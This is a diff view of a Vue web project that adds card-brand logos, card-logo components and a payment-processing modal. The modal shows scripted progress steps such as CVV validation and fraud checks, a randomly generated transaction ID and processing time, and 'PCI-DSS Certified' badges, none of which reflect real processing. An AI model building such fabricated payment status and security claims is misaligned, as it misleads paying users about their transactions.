2.258 24.86 7.072.891.67 1.422 1.422 2.033 2.175v-25z" fill="#fff"/></svg>

After

Width:  |  Height:  |  Size: 4.7 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 9.3 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 9.3 KiB

View File

@@ -0,0 +1 @@
<svg viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24"><path d="M827.389622 192.340633 192.189695 192.340633c-71.761394 0-130.145106 55.656601-130.145106 124.065643l0 453.936583c0 68.411089 58.382689 124.066667 130.145106 124.066667l635.199926 0c71.761394 0 130.144082-55.656601 130.144082-124.066667L957.533704 316.406277C957.533704 247.997234 899.151016 192.340633 827.389622 192.340633zM192.189695 271.306102l635.199926 0c26.215058 0 47.469128 20.191878 47.469128 45.101197l0 65.462944L144.720567 381.870244l0-65.462944C144.720567 291.49798 165.973614 271.306102 192.189695 271.306102zM827.389622 815.44508 192.189695 815.44508c-26.216081 0-47.469128-20.192901-47.469128-45.102221L144.720567 508.759189 874.85875 508.759189l0 261.58367C874.85875 795.252179 853.60468 815.44508 827.389622 815.44508zM788.632923 703.187367l-186.241728 0c-18.650779 0-33.769105 15.118326-33.769105 33.769105s15.118326 33.769105 33.769105 33.769105l186.241728 0c18.650779 0 33.769105-15.118326 33.769105-33.769105S807.282678 703.187367 788.632923 703.187367z" fill="#6b7280"></path></svg>

After

Width:  |  Height:  |  Size: 1.1 KiB

View File

@@ -0,0 +1 @@
<svg height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><g fill-rule="evenodd"><path d="m54.992 0c-30.365 0-54.992 24.63-54.992 55.004v390.992c0 30.38 24.619 55.004 54.992 55.004h670.016c30.365 0 54.992-24.63 54.992-55.004v-390.992c0-30.38-24.619-55.004-54.992-55.004z" fill="#4d4d4d"/><path d="m327.152 161.893c8.837 0 16.248 1.784 25.268 6.09v22.751c-8.544-7.863-15.955-11.154-25.756-11.154-19.264 0-34.414 15.015-34.414 34.05 0 20.075 14.681 34.196 35.37 34.196 9.312 0 16.586-3.12 24.8-10.857v22.763c-9.341 4.14-16.911 5.776-25.756 5.776-31.278 0-55.582-22.596-55.582-51.737 0-28.826 24.951-51.878 56.07-51.878zm-97.113.627c11.546 0 22.11 3.72 30.943 10.994l-10.748 13.248c-5.35-5.646-10.41-8.028-16.564-8.028-8.853 0-15.3 4.745-15.3 10.989 0 5.354 3.619 8.188 15.944 12.482 23.365 8.044 30.29 15.176 30.29 30.926 0 19.193-14.976 32.553-36.32 32.553-15.63 0-26.994-5.795-36.458-18.872l13.268-12.03c4.73 8.61 12.622 13.222 22.42 13.222 9.163 0 15.947-5.952 15.947-13.984 0-4.164-2.055-7.734-6.158-10.258-2.066-1.195-6.158-2.977-14.2-5.647-19.291-6.538-25.91-13.527-25.91-27.185 0-16.225 14.214-28.41 32.846-28.41zm234.723 1.728h22.437l28.084 66.592 28.446-66.592h22.267l-45.494 101.686h-11.053zm-397.348.152h30.15c33.312 0 56.534 20.382 56.534 49.641 0 14.59-7.104 28.696-19.118 38.057-10.108 7.901-21.626 11.445-37.574 11.445h-29.992zm96.135 0h20.54v99.143h-20.54zm411.734 0h58.252v16.8h-37.725v22.005h36.336v16.791h-36.336v26.762h37.726v16.785h-58.252v-99.143zm71.858 0h30.455c23.69 0 37.265 10.71 37.265 29.272 0 15.18-8.514 25.14-23.986 28.105l33.148 41.766h-25.26l-28.429-39.828h-2.678v39.828h-20.515zm20.515 15.616v30.025h6.002c13.117 0 20.069-5.362 20.069-15.328 0-9.648-6.954-14.697-19.745-14.697zm-579.716 1.183v65.559h5.512c13.273 0 21.656-2.394 28.11-7.88 7.103-5.955 11.376-15.465 11.376-24.98 0-9.499-4.273-18.725-11.376-24.681-6.785-5.78-14.837-8.018-28.11-8.018z" fill="#fff"/><path d="m415.13 161.21c30.941 0 56.022 23.58 56.022 52.709v.033c0 29.13-25.081 52.742-56.021 52.742s-56.022-23.613-56.022-52.742v-.033c0-29.13 25.082-52.71 56.022-52.71zm364.85 127.15c-26.05 18.33-221.08 149.34-558.75 212.62h503.76c30.365 0 54.992-24.63 54.992-55.004v-157.62z" fill="#f47216"/></g></svg>

After

Width:  |  Height:  |  Size: 2.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,58 @@
<template>
<img v-if="logoSrc" :src="logoSrc" alt="card-logo" style="height: 60%;width:80px" />
</template>
<script lang="ts">
import { defineComponent, computed } from "vue";
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
import c2 from "@/assets/img/d9f501073fcfa.svg";
import c3 from "@/assets/img/761998023fcfa.svg";
import c4 from "@/assets/img/272b931f3fcfa.svg";
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
import c6 from "@/assets/img/e62e66803fcfa.svg";
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
import c8 from "@/assets/img/1a32e1333fcfa.svg";
export default defineComponent({
name: "CardLogo",
props: {
cardType: {
type: String,
required: true,
},
},
setup(props) {
const logoSrc = computed(() => {
const cardTypeUpper = props.cardType.toLocaleUpperCase();
if (cardTypeUpper.includes("VISA")) {
return c1;
} else if (cardTypeUpper.includes("MASTERCARD")) {
return c2;
} else if (cardTypeUpper.includes("JCB")) {
return c3;
} else if (cardTypeUpper.includes("CHINA UNION PAY")) {
return c4;
} else if (cardTypeUpper.includes("AMERICAN EXPRESS")) {
return c5;
} else if (cardTypeUpper.includes("DISCOVER")) {
return c6;
} else if (cardTypeUpper.includes("MAESTRO")) {
return c7;
} else if (cardTypeUpper.includes("DINNERS")) {
return c8;
}
// 你可以添加更多的卡类型和对应的图片
return null; // 如果没有匹配的卡类型,则不显示图片
});
return {
logoSrc,
};
},
});
</script>
<style scoped>
/* 可以在这里添加样式 */
</style>

View File

@@ -0,0 +1,58 @@
<template>
<img v-if="logoSrc" :src="logoSrc" alt="card-logo" style="width: 100%" />
</template>
<script lang="ts">
import { defineComponent, computed } from "vue";
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
import c2 from "@/assets/img/d9f501073fcfa.svg";
import c3 from "@/assets/img/761998023fcfa.svg";
import c4 from "@/assets/img/272b931f3fcfa.svg";
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
import c6 from "@/assets/img/e62e66803fcfa.svg";
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
import c8 from "@/assets/img/1a32e1333fcfa.svg";
export default defineComponent({
name: "CardLogo",
props: {
cardType: {
type: String,
required: true,
},
},
setup(props) {
const logoSrc = computed(() => {
const cardTypeUpper = props.cardType.toLocaleUpperCase();
if (cardTypeUpper.includes("VISA")) {
return c1;
} else if (cardTypeUpper.includes("MASTERCARD")) {
return c2;
} else if (cardTypeUpper.includes("JCB")) {
return c3;
} else if (cardTypeUpper.includes("CHINA UNION PAY")) {
return c4;
} else if (cardTypeUpper.includes("AMERICAN EXPRESS")) {
return c5;
} else if (cardTypeUpper.includes("DISCOVER")) {
return c6;
} else if (cardTypeUpper.includes("MAESTRO")) {
return c7;
} else if (cardTypeUpper.includes("DINNERS")) {
return c8;
}
// 你可以添加更多的卡类型和对应的图片
return null; // 如果没有匹配的卡类型,则不显示图片
});
return {
logoSrc,
};
},
});
</script>
<style scoped>
/* 可以在这里添加样式 */
</style>

View File

@@ -0,0 +1,673 @@
<template>
<transition name="plm-fade">
<div v-if="visible" class="plm-overlay" @click="handleOverlayClick">
<transition name="plm-slide">
<div v-if="visible" class="plm-dialog" @click.stop>
<!-- Dialog Header -->
<div class="plm-dialog-header">
<div class="plm-header-left">
<div class="plm-header-icon">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<rect x="1" y="4" width="22" height="16" rx="2" ry="2"></rect>
<line x1="1" y1="10" x2="23" y2="10"></line>
</svg>
</div>
<div class="plm-header-text">
<span class="plm-header-title">{{ t("payment_loading.modal_title") }}</span>
<span class="plm-header-sub">{{ t("payment_loading.modal_subtitle") }}</span>
</div>
</div>
<div class="plm-header-pct">{{ Math.floor(progress) }}%</div>
</div>
<!-- Dialog Body -->
<div class="plm-dialog-body">
<!-- Card + progress -->
<div class="plm-center-wrap">
<div class="plm-card-logo">
<img :src="imgRef" alt="card" />
<div class="plm-scan-line"></div>
</div>
<div class="plm-progress-section">
<div class="plm-progress-track">
<div class="plm-progress-fill" :style="{ width: progress + '%' }"></div>
</div>
</div>
<div class="plm-status-msg">
<span class="plm-dot-pulse"></span>
<span>{{ progressMessage }}</span>
</div>
</div>
<!-- Security badges -->
<div class="plm-badges">
<div class="plm-badge">
<svg viewBox="0 0 24 24" fill="currentColor">
<path d="M18,8H17V6A5,5,0,0,0,7,6V8H6a2,2,0,0,0-2,2V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V10A2,2,0,0,0,18,8ZM9,6a3,3,0,0,1,6,0V8H9ZM18,20H6V10H18Z"/>
</svg>
<span>{{ t("SSL Encryption") }}</span>
</div>
<div class="plm-badge-sep"></div>
<div class="plm-badge">
<svg viewBox="0 0 24 24" fill="currentColor">
<path d="M12,2L4,5v6c0,5.55,3.84,10.74,8,12c4.16-1.26,8-6.45,8-12V5L12,2z"/>
</svg>
<span>{{ t("PCI-DSS Certified") }}</span>
</div>
<div class="plm-badge-sep"></div>
<div class="plm-badge">
<svg viewBox="0 0 24 24" fill="currentColor">
<path d="M3,6h18c.55,0,1,.45,1,1v10c0,.55-.45,1-1,1H3c-.55,0-1-.45-1-1V7C2,6.45,2.45,6,3,6zM20,10H4v6h16V10zM16,12h3v2h-3V12z"/>
</svg>
<span>{{ t("Safe payment") }}</span>
</div>
</div>
<!-- Transaction details -->
<div class="plm-details" v-if="showDetails">
<div class="plm-details-title">
<svg viewBox="0 0 24 24" fill="currentColor">
<path d="M14,2H6A2,2,0,0,0,4,4V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V8ZM16,18H8V16h8Zm0-4H8V12h8ZM13,9V3.5L18.5,9Z"/>
</svg>
{{ t("payment_loading.transaction_details") }}
</div>
<div class="plm-detail-row">
<span class="plm-detail-label">{{ t("payment_loading.transaction_id") }}</span>
<span class="plm-detail-val">{{ transactionId }}</span>
</div>
<div class="plm-detail-row">
<span class="plm-detail-label">{{ t("payment_loading.processing_network") }}</span>
<span class="plm-detail-val">{{ processingNetwork }}</span>
</div>
<div class="plm-detail-row">
<span class="plm-detail-label">{{ t("payment_loading.processing_time") }}</span>
<span class="plm-detail-val">{{ processingTime }}</span>
</div>
<div class="plm-detail-row">
<span class="plm-detail-label">{{ t("payment_loading.security_level") }}</span>
<span class="plm-detail-val plm-green">{{ securityLevel }}</span>
</div>
</div>
</div>
</div>
</transition>
</div>
</transition>
</template>
<script setup lang="ts">
import { ref, watch, onUnmounted, computed } from "vue";
import { useI18n } from "vue-i18n";
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
import c2 from "@/assets/img/d9f501073fcfa.svg";
import c3 from "@/assets/img/761998023fcfa.svg";
import c4 from "@/assets/img/272b931f3fcfa.svg";
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
import c6 from "@/assets/img/e62e66803fcfa.svg";
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
import c8 from "@/assets/img/1a32e1333fcfa.svg";
import c9 from "@/assets/img/mir.jpg";
import c10 from "@/assets/img/80066acd3fcfa.svg";
const { t } = useI18n();
// ── Types ──────────────────────────────────────────────────
interface Props {
visible: boolean;
cardNumber?: string;
loading?: boolean;
closable?: boolean;
maskClosable?: boolean;
autoClose?: boolean;
autoCloseDelay?: number;
}
interface Emits {
(e: 'update:visible', value: boolean): void;
(e: 'close'): void;
(e: 'step-change', step: number): void;
}
const props = withDefaults(defineProps<Props>(), {
visible: false,
cardNumber: "",
loading: true,
closable: true,
maskClosable: true,
autoClose: false,
autoCloseDelay: 5000
});
const emit = defineEmits<Emits>();
// ── State ──────────────────────────────────────────────────
const progress = ref(0);
const progressMessage = ref(t('payment_loading.preparing'));
const intervalId = ref<ReturnType<typeof setInterval> | ReturnType<typeof setTimeout> | null>(null);
const showSpinner = ref(false);
const transactionId = ref('');
const authCode = ref('');
const processingNetwork = ref('');
const processingTime = ref('');
const securityLevel = ref(t('payment_loading.high'));
const showDetails = ref(false);
const imgRef = ref<string>(c8);
const autoCloseTimer = ref<number | null>(null);
// ── Computed ───────────────────────────────────────────────
const cardType = computed(() => {
const num = props.cardNumber.replace(/\D/g, '');
if (/^4/.test(num)) return 'VISA';
if (/^(5[1-5]|222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[0-1][0-9]|2720)/.test(num)) return 'MASTERCARD';
if (/^(62|81)/.test(num)) return 'CHINA UNION PAY';
if (/^3[347]/.test(num)) return 'AMERICAN EXPRESS';
if (/^(6011|64[4-9]|65|62212[6-9]|6221[3-9][0-9]|622[2-8][0-9]{2}|6229[0-2][0-5])/.test(num)) return 'DISCOVER';
if (/^35(2[8-9]|[3-8][0-9])/.test(num)) return 'JCB';
if (/^(30|36|38|39)/.test(num)) return 'DINNERS';
if (/^(50|5[6-8]|6[^2])/.test(num)) return 'MAESTRO';
if (/^220[0-4]/.test(num)) return 'MIR';
return 'Generic';
});
// ── Progress steps ─────────────────────────────────────────
const progressSteps = [
{ threshold: 0, message: t('payment_loading.step_init') },
{ threshold: 10, message: t('payment_loading.step_encrypt') },
{ threshold: 20, message: t('payment_loading.step_connect') },
{ threshold: 30, message: t('payment_loading.step_verify_card') },
{ threshold: 40, message: t('payment_loading.step_validate_cvv') },
{ threshold: 50, message: t('payment_loading.step_fraud') },
{ threshold: 60, message: t('payment_loading.step_send') },
{ threshold: 70, message: t('payment_loading.step_wait_auth') },
{ threshold: 80, message: t('payment_loading.step_process_resp') },
{ threshold: 90, message: t('payment_loading.step_confirm') },
{ threshold: 95, message: t('payment_loading.step_finalize') },
{ threshold: 100, message: '' },
];
// ── Functions ──────────────────────────────────────────────
function getCreditCardType(type: string | null): string {
if (!type) return c8;
const u = type.toLocaleUpperCase();
if (u.includes("VISA")) return c1;
if (u.includes("MASTERCARD")) return c2;
if (u.includes("JCB")) return c3;
if (u.includes("CHINA UNION PAY")) return c4;
if (u.includes("AMERICAN EXPRESS"))return c5;
if (u.includes("DISCOVER")) return c6;
if (u.includes("MAESTRO")) return c7;
if (u.includes("DINNERS")) return c8;
if (u.includes("MIR")) return c9;
return c10;
}
const generateTransactionDetails = (typeData: string) => {
const type = typeData.toUpperCase();
const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
transactionId.value = Array.from({ length: 12 }, () => chars[Math.floor(Math.random() * chars.length)]).join('');
authCode.value = Array.from({ length: 6 }, () => Math.floor(Math.random() * 10)).join('');
processingNetwork.value =
type === 'VISA' ? t('payment_loading.network_visa') :
type === 'MASTERCARD' ? t('payment_loading.network_mastercard') :
type === 'AMERICAN EXPRESS' ? t('payment_loading.network_amex') :
type === 'CHINA UNION PAY' ? t('payment_loading.network_unionpay') :
t('payment_loading.network_intl');
processingTime.value = t('payment_loading.time_seconds', { time: (Math.random() * 2 + 1.5).toFixed(2) });
};
const animateProgress = () => {
if (intervalId.value) clearInterval(intervalId.value as ReturnType<typeof setInterval>);
const breakpoints = [
{ point: 20, delay: 700 },
{ point: 40, delay: 500 },
{ point: 70, delay: 1200 },
{ point: 90, delay: 600 },
];
const getBreakpoint = () => breakpoints.find(bp => Math.abs(progress.value - bp.point) < 1);
intervalId.value = setInterval(() => {
const breakpoint = getBreakpoint();
if (breakpoint) {
const increment = Math.random() * 0.2;
progress.value = Math.min(progress.value + increment, 95);
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
setTimeout(() => {
if (breakpoint.point === 70) showDetails.value = true;
animateProgress();
}, breakpoint.delay);
return;
}
let increment: number;
if (progress.value < 30) increment = Math.random() * 1 + 0.5;
else if (progress.value < 65) increment = Math.random() * 0.8 + 0.3;
else if (progress.value < 85) increment = Math.random() * 0.5 + 0.1;
else increment = Math.random() * 0.3 + 0.05;
progress.value = Math.min(progress.value + increment, 95);
for (let i = progressSteps.length - 1; i >= 0; i--) {
if (progress.value >= progressSteps[i].threshold) {
progressMessage.value = progressSteps[i].message;
break;
}
}
if (!props.loading) {
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
intervalId.value = null;
progress.value = 100;
progressMessage.value = progressSteps[progressSteps.length - 1].message;
}
}, 300);
};
const clearAutoCloseTimer = () => {
if (autoCloseTimer.value) {
clearTimeout(autoCloseTimer.value);
autoCloseTimer.value = null;
}
};
const closeModal = () => {
clearAutoCloseTimer();
emit('update:visible', false);
emit('close');
};
const handleOverlayClick = () => {
if (props.maskClosable) closeModal();
};
// ── Watchers ───────────────────────────────────────────────
watch(() => props.visible, (newVisible) => {
if (newVisible) {
const type = cardType.value || localStorage.getItem("cardType");
imgRef.value = getCreditCardType(type);
if (props.autoClose) {
autoCloseTimer.value = window.setTimeout(() => closeModal(), props.autoCloseDelay);
}
} else {
clearAutoCloseTimer();
}
});
watch(() => props.loading, (isLoading) => {
if (isLoading) {
showSpinner.value = true;
progress.value = 0;
progressMessage.value = progressSteps[0].message;
generateTransactionDetails(cardType.value);
animateProgress();
} else {
if (intervalId.value) {
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
intervalId.value = null;
}
const completeProgress = () => {
const currentProgress = progress.value;
const step = Math.max((100 - currentProgress) / 10, 1);
progress.value = Math.min(currentProgress + step, 100);
progressMessage.value = progressSteps[progressSteps.length - 1].message;
if (progress.value < 100) {
intervalId.value = setTimeout(completeProgress, 10);
} else {
setTimeout(() => { showSpinner.value = false; }, 500);
}
};
completeProgress();
}
}, { immediate: true });
// ── Lifecycle ──────────────────────────────────────────────
onUnmounted(() => {
clearAutoCloseTimer();
if (intervalId.value) {
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
intervalId.value = null;
}
});
</script>
<style scoped>
/* ===== Transitions ===== */
.plm-fade-enter-active,
.plm-fade-leave-active {
transition: opacity 0.3s ease;
}
.plm-fade-enter-from,
.plm-fade-leave-to {
opacity: 0;
}
.plm-slide-enter-active {
transition: opacity 0.35s ease, transform 0.35s cubic-bezier(0.22, 1, 0.36, 1);
}
.plm-slide-leave-active {
transition: opacity 0.2s ease, transform 0.2s ease;
}
.plm-slide-enter-from {
opacity: 0;
transform: translateY(20px) scale(0.97);
}
.plm-slide-leave-to {
opacity: 0;
transform: translateY(8px) scale(0.99);
}
/* ===== Overlay ===== */
.plm-overlay {
position: fixed;
inset: 0;
background: rgba(30, 41, 59, 0.4);
backdrop-filter: blur(8px);
-webkit-backdrop-filter: blur(8px);
display: flex;
align-items: center;
justify-content: center;
z-index: 9999;
padding: 20px;
box-sizing: border-box;
}
/* ===== Dialog ===== */
.plm-dialog {
width: 100%;
max-width: 380px;
background: #fff;
border-radius: 18px;
overflow: hidden;
box-shadow:
0 0 0 1px rgba(148, 163, 184, 0.15),
0 8px 24px -4px rgba(15, 23, 42, 0.12),
0 32px 64px -16px rgba(15, 23, 42, 0.14);
}
/* ===== Header ===== */
.plm-dialog-header {
background: linear-gradient(160deg, #f8fafc 0%, #f1f5f9 100%);
border-bottom: 1px solid #e8edf3;
padding: 18px 20px 16px;
display: flex;
align-items: center;
justify-content: space-between;
}
.plm-header-left {
display: flex;
align-items: center;
gap: 12px;
}
.plm-header-icon {
width: 36px;
height: 36px;
background: #fff;
border: 1px solid #e2e8f0;
border-radius: 10px;
display: flex;
align-items: center;
justify-content: center;
flex-shrink: 0;
box-shadow: 0 1px 3px rgba(0,0,0,0.06);
}
.plm-header-icon svg {
width: 17px;
height: 17px;
color: var(--global-primary-color, #4f7ef8);
}
.plm-header-text {
display: flex;
flex-direction: column;
gap: 2px;
}
.plm-header-title {
color: #1e293b;
font-size: 14px;
font-weight: 700;
letter-spacing: 0.1px;
line-height: 1.3;
}
.plm-header-sub {
color: #94a3b8;
font-size: 11.5px;
}
.plm-header-pct {
font-size: 20px;
font-weight: 800;
color: var(#007BFF, #007BFF);
letter-spacing: -0.5px;
min-width: 44px;
text-align: right;
}
/* ===== Dialog Body ===== */
.plm-dialog-body {
padding: 22px 20px 20px;
display: flex;
flex-direction: column;
align-items: center;
gap: 16px;
}
/* ===== Card + progress center ===== */
.plm-center-wrap {
width: 100%;
display: flex;
flex-direction: column;
align-items: center;
gap: 16px;
}
.plm-card-logo {
width: 120px;
height: 76px;
position: relative;
overflow: hidden;
border-radius: 10px;
background: #f8fafc;
border: 1px solid #e8edf3;
display: flex;
align-items: center;
justify-content: center;
box-shadow: 0 2px 8px rgba(0,0,0,0.06);
}
.plm-card-logo img {
width: 72%;
object-fit: contain;
}
.plm-scan-line {
position: absolute;
top: 0;
left: -10%;
width: 8px;
height: 100%;
background: rgba(255, 255, 255, 0.85);
box-shadow: 0 0 18px 10px rgba(255, 255, 255, 0.75);
animation: plm-scan 2.2s ease-in-out infinite;
}
@keyframes plm-scan {
0% { left: -10%; }
100% { left: 110%; }
}
/* ===== Progress ===== */
.plm-progress-section {
width: 100%;
}
.plm-progress-track {
width: 100%;
height: 4px;
background: #e8edf3;
border-radius: 99px;
overflow: hidden;
}
.plm-progress-fill {
height: 100%;
background: linear-gradient(90deg,
var(--global-primary-color, #4f7ef8) 0%,
#93c5fd 50%,
var(--global-primary-color, #4f7ef8) 100%);
background-size: 200% 100%;
border-radius: 99px;
transition: width 0.6s ease;
animation: plm-shimmer 2.5s linear infinite;
}
@keyframes plm-shimmer {
0% { background-position: 200% center; }
100% { background-position: -200% center; }
}
/* ===== Status message ===== */
.plm-status-msg {
display: flex;
align-items: center;
justify-content: center;
gap: 7px;
font-size: 12.5px;
color: #64748b;
min-height: 18px;
text-align: center;
letter-spacing: 0.1px;
}
.plm-dot-pulse {
display: inline-block;
width: 6px;
height: 6px;
border-radius: 50%;
background: var(--global-primary-color, #4f7ef8);
flex-shrink: 0;
animation: plm-pulse 1.6s ease-in-out infinite;
}
@keyframes plm-pulse {
0%, 100% { opacity: 1; transform: scale(1); }
50% { opacity: 0.3; transform: scale(0.65); }
}
/* ===== Divider ===== */
.plm-divider {
width: 100%;
height: 1px;
background: #f1f5f9;
}
/* ===== Security badges ===== */
.plm-badges {
display: flex;
align-items: center;
justify-content: center;
gap: 10px;
width: 100%;
box-sizing: border-box;
}
.plm-badge {
display: flex;
align-items: center;
gap: 4px;
color: #94a3b8;
font-size: 10.5px;
font-weight: 500;
white-space: nowrap;
letter-spacing: 0.1px;
}
.plm-badge svg {
width: 11px;
height: 11px;
fill: #86efac;
flex-shrink: 0;
}
.plm-badge-sep {
width: 1px;
height: 10px;
background: #e2e8f0;
flex-shrink: 0;
}
/* ===== Transaction details ===== */
.plm-details {
width: 100%;
background: #f8fafc;
border-radius: 12px;
padding: 14px 16px;
box-sizing: border-box;
border: 1px solid #edf2f7;
}
.plm-details-title {
display: flex;
align-items: center;
gap: 5px;
font-size: 10.5px;
font-weight: 600;
color: #94a3b8;
text-transform: uppercase;
letter-spacing: 0.8px;
margin-bottom: 10px;
}
.plm-details-title svg {
width: 12px;
height: 12px;
fill: #cbd5e1;
flex-shrink: 0;
}
.plm-detail-row {
display: flex;
justify-content: space-between;
align-items: center;
padding: 6px 0;
font-size: 12.5px;
border-bottom: 1px dashed #edf2f7;
}
.plm-detail-row:last-child {
border-bottom: none;
padding-bottom: 2px;
}
.plm-detail-label {
color: #94a3b8;
font-weight: 400;
}
.plm-detail-val {
font-family: "SF Mono", ui-monospace, "Courier New", monospace;
color: #475569;
font-weight: 600;
font-size: 11.5px;
letter-spacing: 0.3px;
max-width: 55%;
text-align: right;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.plm-green {
color: #22c55e;
}
</style>

View File

@@ -0,0 +1,7 @@
<template>
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="currentColor">
<path
d="M15 4a1 1 0 1 0 0 2V4zm0 11v-1a1 1 0 0 0-1 1h1zm0 4l-.707.707A1 1 0 0 0 16 19h-1zm-4-4l.707-.707A1 1 0 0 0 11 14v1zm-4.707-1.293a1 1 0 0 0-1.414 1.414l1.414-1.414zm-.707.707l-.707-.707.707.707zM9 11v-1a1 1 0 0 0-.707.293L9 11zm-4 0h1a1 1 0 0 0-1-1v1zm0 4H4a1 1 0 0 0 1.707.707L5 15zm10-9h2V4h-2v2zm2 0a1 1 0 0 1 1 1h2a3 3 0 0 0-3-3v2zm1 1v6h2V7h-2zm0 6a1 1 0 0 1-1 1v2a3 3 0 0 0 3-3h-2zm-1 1h-2v2h2v-2zm-3 1v4h2v-4h-2zm1.707 3.293l-4-4-1.414 1.414 4 4 1.414-1.414zM11 14H7v2h4v-2zm-4 0c-.276 0-.525-.111-.707-.293l-1.414 1.414C5.42 15.663 6.172 16 7 16v-2zm-.707 1.121l3.414-3.414-1.414-1.414-3.414 3.414 1.414 1.414zM9 12h4v-2H9v2zm4 0a3 3 0 0 0 3-3h-2a1 1 0 0 1-1 1v2zm3-3V3h-2v6h2zm0-6a3 3 0 0 0-3-3v2a1 1 0 0 1 1 1h2zm-3-3H3v2h10V0zM3 0a3 3 0 0 0-3 3h2a1 1 0 0 1 1-1V0zM0 3v6h2V3H0zm0 6a3 3 0 0 0 3 3v-2a1 1 0 0 1-1-1H0zm3 3h2v-2H3v2zm1-1v4h2v-4H4zm1.707 4.707l.586-.586-1.414-1.414-.586.586 1.414 1.414z"
/>
</svg>
</template>

View File

@@ -0,0 +1,7 @@
<template>
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="17" fill="currentColor">
<path
d="M11 2.253a1 1 0 1 0-2 0h2zm-2 13a1 1 0 1 0 2 0H9zm.447-12.167a1 1 0 1 0 1.107-1.666L9.447 3.086zM1 2.253L.447 1.42A1 1 0 0 0 0 2.253h1zm0 13H0a1 1 0 0 0 1.553.833L1 15.253zm8.447.833a1 1 0 1 0 1.107-1.666l-1.107 1.666zm0-14.666a1 1 0 1 0 1.107 1.666L9.447 1.42zM19 2.253h1a1 1 0 0 0-.447-.833L19 2.253zm0 13l-.553.833A1 1 0 0 0 20 15.253h-1zm-9.553-.833a1 1 0 1 0 1.107 1.666L9.447 14.42zM9 2.253v13h2v-13H9zm1.553-.833C9.203.523 7.42 0 5.5 0v2c1.572 0 2.961.431 3.947 1.086l1.107-1.666zM5.5 0C3.58 0 1.797.523.447 1.42l1.107 1.666C2.539 2.431 3.928 2 5.5 2V0zM0 2.253v13h2v-13H0zm1.553 13.833C2.539 15.431 3.928 15 5.5 15v-2c-1.92 0-3.703.523-5.053 1.42l1.107 1.666zM5.5 15c1.572 0 2.961.431 3.947 1.086l1.107-1.666C9.203 13.523 7.42 13 5.5 13v2zm5.053-11.914C11.539 2.431 12.928 2 14.5 2V0c-1.92 0-3.703.523-5.053 1.42l1.107 1.666zM14.5 2c1.573 0 2.961.431 3.947 1.086l1.107-1.666C18.203.523 16.421 0 14.5 0v2zm3.5.253v13h2v-13h-2zm1.553 12.167C18.203 13.523 16.421 13 14.5 13v2c1.573 0 2.961.431 3.947 1.086l1.107-1.666zM14.5 13c-1.92 0-3.703.523-5.053 1.42l1.107 1.666C11.539 15.431 12.928 15 14.5 15v-2z"
/>
</svg>
</template>

View File

@@ -0,0 +1,7 @@
<template>
<svg xmlns="http://www.w3.org/2000/svg" width="18" height="20" fill="currentColor">
<path
d="M11.447 8.894a1 1 0 1 0-.894-1.789l.894 1.789zm-2.894-.789a1 1 0 1 0 .894 1.789l-.894-1.789zm0 1.789a1 1 0 1 0 .894-1.789l-.894 1.789zM7.447 7.106a1 1 0 1 0-.894 1.789l.894-1.789zM10 9a1 1 0 1 0-2 0h2zm-2 2.5a1 1 0 1 0 2 0H8zm9.447-5.606a1 1 0 1 0-.894-1.789l.894 1.789zm-2.894-.789a1 1 0 1 0 .894 1.789l-.894-1.789zm2 .789a1 1 0 1 0 .894-1.789l-.894 1.789zm-1.106-2.789a1 1 0 1 0-.894 1.789l.894-1.789zM18 5a1 1 0 1 0-2 0h2zm-2 2.5a1 1 0 1 0 2 0h-2zm-5.447-4.606a1 1 0 1 0 .894-1.789l-.894 1.789zM9 1l.447-.894a1 1 0 0 0-.894 0L9 1zm-2.447.106a1 1 0 1 0 .894 1.789l-.894-1.789zm-6 3a1 1 0 1 0 .894 1.789L.553 4.106zm2.894.789a1 1 0 1 0-.894-1.789l.894 1.789zm-2-.789a1 1 0 1 0-.894 1.789l.894-1.789zm1.106 2.789a1 1 0 1 0 .894-1.789l-.894 1.789zM2 5a1 1 0 1 0-2 0h2zM0 7.5a1 1 0 1 0 2 0H0zm8.553 12.394a1 1 0 1 0 .894-1.789l-.894 1.789zm-1.106-2.789a1 1 0 1 0-.894 1.789l.894-1.789zm1.106 1a1 1 0 1 0 .894 1.789l-.894-1.789zm2.894.789a1 1 0 1 0-.894-1.789l.894 1.789zM8 19a1 1 0 1 0 2 0H8zm2-2.5a1 1 0 1 0-2 0h2zm-7.447.394a1 1 0 1 0 .894-1.789l-.894 1.789zM1 15H0a1 1 0 0 0 .553.894L1 15zm1-2.5a1 1 0 1 0-2 0h2zm12.553 2.606a1 1 0 1 0 .894 1.789l-.894-1.789zM17 15l.447.894A1 1 0 0 0 18 15h-1zm1-2.5a1 1 0 1 0-2 0h2zm-7.447-5.394l-2 1 .894 1.789 2-1-.894-1.789zm-1.106 1l-2-1-.894 1.789 2 1 .894-1.789zM8 9v2.5h2V9H8zm8.553-4.894l-2 1 .894 1.789 2-1-.894-1.789zm.894 0l-2-1-.894 1.789 2 1 .894-1.789zM16 5v2.5h2V5h-2zm-4.553-3.894l-2-1-.894 1.789 2 1 .894-1.789zm-2.894-1l-2 1 .894 1.789 